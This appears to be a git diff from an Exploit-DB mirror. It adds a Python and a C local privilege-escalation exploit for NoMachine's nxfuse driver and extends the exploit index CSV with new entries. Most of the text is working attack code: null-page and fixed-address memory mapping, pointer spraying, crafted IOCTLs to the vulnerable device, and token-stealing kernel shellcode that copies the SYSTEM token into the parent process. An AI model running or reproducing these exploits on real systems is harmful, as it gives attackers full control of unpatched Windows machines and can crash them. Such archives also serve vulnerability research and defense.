||||
@Param address – The address to be mapped, such as 0x41414141.
|
||||
|
||||
@Param size – the size of the mapping.
|
||||
|
||||
@Return – a tuple containing the base address of the mapping and the size returned.
|
||||
|
||||
”’
|
||||
|
||||
def map_memory(address, size):
|
||||
|
||||
temp_address = c_void_p(address)
|
||||
|
||||
size = c_uint(size)
|
||||
|
||||
|
||||
|
||||
proc = windll.kernel32.GetCurrentProcess()
|
||||
|
||||
nt_status = windll.ntdll.NtAllocateVirtualMemory(c_void_p(proc),
|
||||
|
||||
byref(temp_address), 0,
|
||||
|
||||
byref(size),
|
||||
|
||||
MEM_RESERVE|MEM_COMMIT,
|
||||
|
||||
PAGE_EXECUTE_READWRITE)
|
||||
|
||||
|
||||
|
||||
#The mapping failed, let the calling code know
|
||||
|
||||
if nt_status != 0:
|
||||
|
||||
return (-1, c_ulong(nt_status).value)
|
||||
|
||||
else:
|
||||
|
||||
return (temp_address, size)
|
||||
|
||||
|
||||
|
||||
”’
|
||||
|
||||
* Write to some mapped memory.
|
||||
|
||||
@Param address – The address in memory to write to.
|
||||
|
||||
@Param size – The size of the write.
|
||||
|
||||
@Param buffer – A python buffer that holds the contents to write.
|
||||
|
||||
@Return – the number of bytes written.
|
||||
|
||||
”’
|
||||
|
||||
def write_memory(address, size, buffer):
|
||||
|
||||
temp_address = c_void_p(address)
|
||||
|
||||
temp_buffer = str_to_pchar(buffer)
|
||||
|
||||
proc = c_void_p(windll.kernel32.GetCurrentProcess())
|
||||
|
||||
bytes_ret = c_ulong()
|
||||
|
||||
size = c_uint(size)
|
||||
|
||||
|
||||
|
||||
windll.kernel32.WriteProcessMemory(proc,
|
||||
|
||||
temp_address,
|
||||
|
||||
temp_buffer,
|
||||
|
||||
size,
|
||||
|
||||
byref(bytes_ret))
|
||||
|
||||
|
||||
|
||||
return bytes_ret
|
||||
|
||||
|
||||
|
||||
”’
|
||||
|
||||
* Get a handle to a device by its name. The calling code is responsible for
|
||||
|
||||
* checking the handle is valid.
|
||||
|
||||
@Param device_name – a string representing the name, ie \\\\.\\nxfs-net….
|
||||
|
||||
”’
|
||||
|
||||
def get_handle(device_name):
|
||||
|
||||
return windll.kernel32.CreateFileA(device_name,
|
||||
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
|
||||
0,
|
||||
|
||||
None,
|
||||
|
||||
OPEN_EXISTING,
|
||||
|
||||
0,
|
||||
|
||||
None)
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
|
||||
print “[+] Attempting to exploit uninitialised stack variable, this has a chance of causing a bsod!”
|
||||
|
||||
|
||||
|
||||
print “[+] Mapping the regions of memory we require”
|
||||
|
||||
|
||||
|
||||
#Try and map the first 3 critical regions, if any of them fail we exit.
|
||||
|
||||
address_1, size_1 = map_memory(0x14c00000, 0x1f0000)
|
||||
|
||||
if address_1 == -1:
|
||||
|
||||
print “[x] Mapping 0x610000 failed with error %x” %size_1
|
||||
|
||||
sys.exit(-1)
|
||||
|
||||
|
||||
|
||||
address_2, size_2 = map_memory(0x41414141, 0x100000)
|
||||
|
||||
if address_2 == -1:
|
||||
|
||||
print “[x] Mapping 0x41414141 failed with error %x” %size_2
|
||||
|
||||
sys.exit(-1)
|
||||
|
||||
|
||||
|
||||
address_3, size_3 = map_memory(0xbad0b0b0, 0x1000)
|
||||
|
||||
if address_3 == -1:
|
||||
|
||||
print “[x] Mapping 0xbad0b0b0 failed with error %x” %size_3
|
||||
|
||||
sys.exit(-1)
|
||||
|
||||
|
||||
|
||||
#this will hold our shellcode
|
||||
|
||||
sc_address, sc_size = map_memory(0x42424240, 0x1000)
|
||||
|
||||
if sc_address == -1:
|
||||
|
||||
print “[x] Mapping 0xbad0b0b0 failed with error %x” %sc_size
|
||||
|
||||
sys.exit(-1)
|
||||
|
||||
|
||||
|
||||
#Now we write certain values to those mapped memory regions
|
||||
|
||||
print “[+] Writing data to mapped memory…”
|
||||
|
||||
#the first write involves storing a pointer to our shellcode
|
||||
|
||||
#at offset 0xbad0b0b0+0xa8
|
||||
|
||||
buff = “\x40BBB” #0x42424240
|
||||
|
||||
bytes_written = write_memory(0xbad0b0b0+0xa8, 4, buff)
|
||||
|
||||
|
||||
|
||||
write_memory(0x42424240, shellcode_len, shellcode)
|
||||
|
||||
|
||||
|
||||
#the second write involves spraying the first memory address with pointers
|
||||
|
||||
#to our second mapped memory.
|
||||
|
||||
print “\t spraying unitialised pointer memory with userland pointers”
|
||||
|
||||
|
||||
|
||||
buff = “\x40AAA” #0x0000000041414140
|
||||
|
||||
for offset in range(4, size_1.value, 8):
|
||||
|
||||
temp_address = address_1.value + offset
|
||||
|
||||
write_memory(temp_address, 4, buff)
|
||||
|
||||
|
||||
|
||||
#the third write simply involves setting 0x41414140-0x18 to 0x5
|
||||
|
||||
#this ensures the kernel creates a handle to a TOKEN object.
|
||||
|
||||
print “[+] Setting TOKEN type index in our userland pointer”
|
||||
|
||||
buff = “\x05”
|
||||
|
||||
temp_address = 0x41414140-0x18
|
||||
|
||||
write_memory(temp_address, 1, buff)
|
||||
|
||||
|
||||
|
||||
print “[+] Writing memory finished, getting handle to first device”
|
||||
|
||||
handle = get_handle(“\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061”)
|
||||
|
||||
|
||||
|
||||
if handle == STATUS_INVALID_HANDLE:
|
||||
|
||||
print “[x] Couldn’t get handle to \\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061”
|
||||
|
||||
sys.exit(-1)
|
||||
|
||||
|
||||
|
||||
#if we have a valid handle, we now need to send ioctl 0x222014
|
||||
|
||||
#this creates a new device for which ioctl 0x222030 can be sent
|
||||
|
||||
in_buff = struct.pack(“<I”, 0x190) + struct.pack(“<I”, 0x1) + “AA”
|
||||
|
||||
in_buff = str_to_pchar(in_buff)
|
||||
|
||||
out_buff = str_to_pchar(“A”*0x90)
|
||||
|
||||
bytes_ret = c_ulong()
|
||||
|
||||
|
||||
|
||||
ret = windll.kernel32.DeviceIoControl(handle,
|
||||
|
||||
0x222014,
|
||||
|
||||
in_buff,
|
||||
|
||||
0x10,
|
||||
|
||||
out_buff,
|
||||
|
||||
0x90,
|
||||
|
||||
byref(bytes_ret),
|
||||
|
||||
0)
|
||||
|
||||
if ret == 0:
|
||||
|
||||
print “[x] IOCTL 0x222014 failed”
|
||||
|
||||
sys.exit(-1)
|
||||
|
||||
|
||||
|
||||
print “[+] IOCTL 0x222014 returned success”
|
||||
|
||||
|
||||
|
||||
#get a handle to the next device for which we can send the vulnerable ioctl.
|
||||
|
||||
print “[+] Getting handle to \\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”
|
||||
|
||||
handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”)
|
||||
|
||||
|
||||
|
||||
if handle == STATUS_INVALID_HANDLE:
|
||||
|
||||
print “[x] Couldn’t get handle”
|
||||
|
||||
sys.exit(-1)
|
||||
|
||||
|
||||
|
||||
#this stage involves attempting to manipulate the Object argument on the stack.
|
||||
|
||||
#we found that making repeated calles to CreateFileA increased this value.
|
||||
|
||||
print “[+] Got handle to second device, now generating a load more handles”
|
||||
|
||||
for i in range(0, 900000):
|
||||
|
||||
temp_handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”)
|
||||
|
||||
|
||||
|
||||
#coming towards the end, we send ioctl 0x222030, this has the potential to bluescreen the system.
|
||||
|
||||
#we don’t care about the return code.
|
||||
|
||||
print “[+] Sending IOCTL 0x222030”
|
||||
|
||||
in_buff = str_to_pchar(“A”*0x30)
|
||||
|
||||
out_buff = str_to_pchar(“B”*0x30)
|
||||
|
||||
|
||||
|
||||
windll.kernel32.DeviceIoControl(handle,
|
||||
|
||||
0x222030,
|
||||
|
||||
in_buff,
|
||||
|
||||
0x30,
|
||||
|
||||
out_buff,
|
||||
|
||||
0x30,
|
||||
|
||||
byref(bytes_ret),
|
||||
|
||||
0)
|
||||
|
||||
|
||||
|
||||
#finally, we confuse the kernel by setting our object type index to 1.
|
||||
|
||||
#this then points to 0xbad0b0b0, and namely 0xbad0b0b0+0xa8 for the close procedure(???)
|
||||
|
||||
print “[+] Setting our object type index to 1”
|
||||
|
||||
temp_address = 0x41414140-0x18
|
||||
|
||||
write_memory(temp_address, 1, “\x01”)
|
||||
|
||||
|
||||
|
||||
#The process should now exit, where the kernel will attempt to clean up our dodgy handle
|
||||
|
||||
#This will cause …..
|
||||
|
||||
|
||||
|
||||
if __name__ == ‘__main__’:
|
||||
|
||||
main()
|
345
exploits/windows_x86/local/44167.c
Normal file
345
exploits/windows_x86/local/44167.c
Normal file
|
@ -0,0 +1,345 @@
|
|||
#include “stdafx.h”
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
|
||||
|
||||
#define DEVICE L”\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061″
|
||||
|
||||
#define DEVICE2 L”\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”
|
||||
|
||||
#define IOCTL 0x00222014
|
||||
|
||||
#define IOCTL2 0x00222030
|
||||
|
||||
#define OUT_SIZE 0x90
|
||||
|
||||
#define IN_SIZE 0x10
|
||||
|
||||
|
||||
|
||||
#define KTHREAD_OFFSET 0x124
|
||||
|
||||
#define EPROCESS_OFFSET 0x050
|
||||
|
||||
#define PID_OFFSET 0x0b4
|
||||
|
||||
#define FLINK_OFFSET 0x0b8
|
||||
|
||||
#define TOKEN_OFFSET 0x0f8
|
||||
|
||||
#define SYSTEM_PID 0x004
|
||||
|
||||
#define PARENT_PID 0x140
|
||||
|
||||
|
||||
|
||||
__declspec(naked)VOID TokenStealingShellcode()
|
||||
|
||||
{
|
||||
|
||||
__asm{
|
||||
|
||||
xor eax, eax;
|
||||
|
||||
mov eax, fs:[eax + KTHREAD_OFFSET];
|
||||
|
||||
mov eax, [eax + EPROCESS_OFFSET];
|
||||
|
||||
mov esi, [eax + PARENT_PID]; Get parent pid
|
||||
|
||||
|
||||
|
||||
Loop1:
|
||||
|
||||
mov eax, [eax + FLINK_OFFSET];
|
||||
|
||||
sub eax, FLINK_OFFSET;
|
||||
|
||||
cmp esi, [eax + PID_OFFSET];
|
||||
|
||||
jne Loop1;
|
||||
|
||||
|
||||
|
||||
mov ecx, eax;
|
||||
|
||||
mov ebx, [eax + TOKEN_OFFSET];
|
||||
|
||||
mov edx, SYSTEM_PID;
|
||||
|
||||
|
||||
|
||||
Search:
|
||||
|
||||
mov eax, [eax + FLINK_OFFSET];
|
||||
|
||||
sub eax, FLINK_OFFSET;
|
||||
|
||||
cmp[eax + PID_OFFSET], edx;
|
||||
|
||||
jne Search;
|
||||
|
||||
|
||||
|
||||
mov edx, [eax + TOKEN_OFFSET];
|
||||
|
||||
mov[ecx + TOKEN_OFFSET], edx;
|
||||
|
||||
add esp, 0x58;
|
||||
|
||||
add[esp], 5;
|
||||
|
||||
ret 4;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
|
||||
|
||||
HANDLE ProcessHandle,
|
||||
|
||||
PVOID *BaseAddress,
|
||||
|
||||
ULONG ZeroBits,
|
||||
|
||||
PULONG AllocationSize,
|
||||
|
||||
ULONG AllocationType,
|
||||
|
||||
ULONG Protect
|
||||
|
||||
);
|
||||
|
||||
|
||||
|
||||
typedef NTSTATUS(WINAPI *PNtFreeVirtualMemory)(
|
||||
|
||||
HANDLE ProcessHandle,
|
||||
|
||||
PVOID *BaseAddress,
|
||||
|
||||
PULONG RegionSize,
|
||||
|
||||
ULONG FreeType
|
||||
|
||||
);
|
||||
|
||||
|
||||
|
||||
int main()
|
||||
|
||||
{
|
||||
|
||||
HMODULE module = LoadLibraryA(“ntdll.dll”);
|
||||
|
||||
PNtAllocateVirtualMemory AllocMemory = (PNtAllocateVirtualMemory)GetProcAddress(module, “NtAllocateVirtualMemory”);
|
||||
|
||||
PNtFreeVirtualMemory FreeMemory = (PNtFreeVirtualMemory)GetProcAddress(module, “NtFreeVirtualMemory”);
|
||||
|
||||
|
||||
|
||||
SIZE_T size = 0x1000;
|
||||
|
||||
PVOID address1 = (PVOID)0x05ffff00;
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
NTSTATUS allocStatus = AllocMemory(GetCurrentProcess(),
|
||||
|
||||
&address1,
|
||||
|
||||
0,
|
||||
|
||||
&size,
|
||||
|
||||
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
|
||||
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
|
||||
|
||||
|
||||
if (allocStatus != 0)
|
||||
|
||||
{
|
||||
|
||||
printf(“[x]Couldnt alloc page\n”);
|
||||
|
||||
exit(-1);
|
||||
|
||||
}
|
||||
|
||||
printf(“[+] Allocated address at %p\n”, address1);
|
||||
|
||||
*(ULONG *)0x05fffff4 = 5;
|
||||
|
||||
*(ULONG *)0x060000ac = 0x20;
|
||||
|
||||
*(ULONG *)0x060001dc = 0x05ffff00;
|
||||
|
||||
*(ULONG *)(0x05ffff00 – 0x18) = 1;
|
||||
|
||||
*(ULONG *)(0x05ffff00 – 0x14) = 0;
|
||||
|
||||
|
||||
|
||||
PVOID address2 = (PVOID)0x1;
|
||||
|
||||
SIZE_T size2 = 0x1000;
|
||||
|
||||
|
||||
|
||||
allocStatus = AllocMemory(GetCurrentProcess(),
|
||||
|
||||
&address2,
|
||||
|
||||
0,
|
||||
|
||||
&size2,
|
||||
|
||||
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
|
||||
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
|
||||
|
||||
|
||||
if (allocStatus != 0)
|
||||
|
||||
{
|
||||
|
||||
printf(“[x]Couldnt alloc page2\n”);
|
||||
|
||||
exit(-1);
|
||||
|
||||
}
|
||||
|
||||
*(ULONG *)0x64 = (ULONG)&TokenStealingShellcode;
|
||||
|
||||
printf(“[+] Mapped null page\n”);
|
||||
|
||||
|
||||
|
||||
char inBuff[IN_SIZE];
|
||||
|
||||
char outBuff[OUT_SIZE];
|
||||
|
||||
|
||||
|
||||
HANDLE handle = 0;
|
||||
|
||||
|
||||
|
||||
DWORD returned = 0;
|
||||
|
||||
memset(inBuff, 0x41, IN_SIZE);
|
||||
|
||||
memset(outBuff, 0x43, OUT_SIZE);
|
||||
|
||||
|
||||
|
||||
*(ULONG *)inBuff = 0x00000190;
|
||||
|
||||
*(ULONG *)(inBuff + 4) = 0x00000001;
|
||||
|
||||
|
||||
|
||||
printf(“[+] Creating nxfs-net… device through IOCTL 222014\n”);
|
||||
|
||||
handle = CreateFile(DEVICE,
|
||||
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
|
||||
NULL,
|
||||
|
||||
OPEN_EXISTING,
|
||||
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
|
||||
0);
|
||||
|
||||
|
||||
|
||||
if (handle == INVALID_HANDLE_VALUE)
|
||||
|
||||
{
|
||||
|
||||
printf(“[x] Couldn’t open device\n”);
|
||||
|
||||
exit(-1);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
int ret = DeviceIoControl(handle,
|
||||
|
||||
IOCTL,
|
||||
|
||||
inBuff,
|
||||
|
||||
IN_SIZE,
|
||||
|
||||
outBuff,
|
||||
|
||||
OUT_SIZE,
|
||||
|
||||
&returned,
|
||||
|
||||
0);
|
||||
|
||||
|
||||
|
||||
HANDLE handle2 = CreateFile(DEVICE2,
|
||||
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
|
||||
NULL,
|
||||
|
||||
OPEN_EXISTING,
|
||||
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
|
||||
0);
|
||||
|
||||
|
||||
|
||||
char inBuff2[0x30];
|
||||
|
||||
char outBuff2[0x30];
|
||||
|
||||
|
||||
|
||||
printf(“[+] Triggering exploit…”);
|
||||
|
||||
|
||||
|
||||
ret = DeviceIoControl(handle2,
|
||||
|
||||
IOCTL2,
|
||||
|
||||
inBuff2,
|
||||
|
||||
0x30,
|
||||
|
||||
outBuff2,
|
||||
|
||||
0x30,
|
||||
|
||||
&returned,
|
||||
|
||||
0);
|
||||
|
||||
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
|
@ -9532,6 +9532,9 @@ id,file,description,date,author,type,platform,port
|
|||
44149,exploits/windows/local/44149.txt,"Microsoft Windows - Constrained Impersonation Capability Privilege Escalation",2018-02-20,"Google Security Research",local,windows,
|
||||
44150,exploits/multiple/local/44150.rb,"MagniComp SysInfo - mcsiwrapper Privilege Escalation (Metasploit)",2018-02-20,Metasploit,local,multiple,
|
||||
44152,exploits/windows/local/44152.txt,"Microsoft Windows - StorSvc SvcMoveFileInheritSecurity Arbitrary File Creation Privilege Escalation",2018-02-20,"Google Security Research",local,windows,
|
||||
44167,exploits/windows_x86/local/44167.c,"NoMachine x86 < 6.0.80 - 'nxfuse' Privilege Escalation",2018-02-22,"Fidus InfoSecurity",local,windows_x86,
|
||||
44168,exploits/windows_x86-64/local/44168.py,"NoMachine x64 < 6.0.80 - 'nxfuse' Privilege Escalation",2018-02-22,"Fidus InfoSecurity",local,windows_x86-64,
|
||||
44169,exploits/windows/local/44169.txt,"Armadito Antivirus 0.12.7.2 - Detection Bypass",2018-02-22,"Souhail Hammou",local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
@ -38890,3 +38893,15 @@ id,file,description,date,author,type,platform,port
|
|||
43346,exploits/php/webapps/43346.txt,"Movie Guide 2.0 - SQL Injection",2017-12-15,"Ihsan Sencan",webapps,php,80
|
||||
43348,exploits/php/webapps/43348.txt,"Monstra CMS 3.0.4 - Arbitrary File Upload / Remote Code Execution",2017-12-18,"Ishaq Mohammed",webapps,php,
|
||||
43349,exploits/php/webapps/43349.txt,"Cells Blog 3.5 - 'bgid' / 'fmid' / 'fnid' SQL Injection",2017-12-18,"Ihsan Sencan",webapps,php,
|
||||
44158,exploits/php/webapps/44158.txt,"Joomla! Component CW Tags 2.0.6 - SQL Injection",2018-02-22,"Ihsan Sencan",webapps,php,
|
||||
44159,exploits/php/webapps/44159.txt,"Joomla! Component Proclaim 9.1.1 - Backup File Download",2018-02-22,"Ihsan Sencan",webapps,php,
|
||||
44160,exploits/php/webapps/44160.txt,"Joomla! Component PrayerCenter 3.0.2 - 'sessionid' SQL Injection",2018-02-22,"Ihsan Sencan",webapps,php,
|
||||
44161,exploits/php/webapps/44161.txt,"Joomla! Component Ek Rishta 2.9 - SQL Injection",2018-02-22,"Ihsan Sencan",webapps,php,
|
||||
44162,exploits/php/webapps/44162.txt,"Joomla! Component Alexandria Book Library 3.1.2 - 'letter' SQL Injection",2018-02-22,"Ihsan Sencan",webapps,php,
|
||||
44163,exploits/php/webapps/44163.txt,"Joomla! Component CheckList 1.1.1 - SQL Injection",2018-02-22,"Ihsan Sencan",webapps,php,
|
||||
44164,exploits/php/webapps/44164.txt,"Joomla! Component Proclaim 9.1.1 - Arbitrary File Upload",2018-02-22,"Ihsan Sencan",webapps,php,
|
||||
44165,exploits/php/webapps/44165.txt,"Joomla! Component OS Property Real Estate 3.12.7 - SQL Injection",2018-02-22,"Ihsan Sencan",webapps,php,
|
||||
44166,exploits/jsp/webapps/44166.txt,"Trend Micro Email Encryption Gateway 5.5 (Build 1111.00) - Multiple Vulnerabilities",2018-02-22,"Core Security",webapps,jsp,
|
||||
44170,exploits/php/webapps/44170.txt,"Learning and Examination Management System - Cross-Site Scripting",2018-02-22,"Prasenjit Kanti Paul",webapps,php,
|
||||
44171,exploits/php/webapps/44171.txt,"Alibaba Clone Script 1.0.2 - Cross-Site Scripting",2018-02-22,"Prasenjit Kanti Paul",webapps,php,
|
||||
44172,exploits/php/webapps/44172.txt,"Groupon Clone Script 3.0.2 - Cross-Site Scripting",2018-02-22,"Prasenjit Kanti Paul",webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue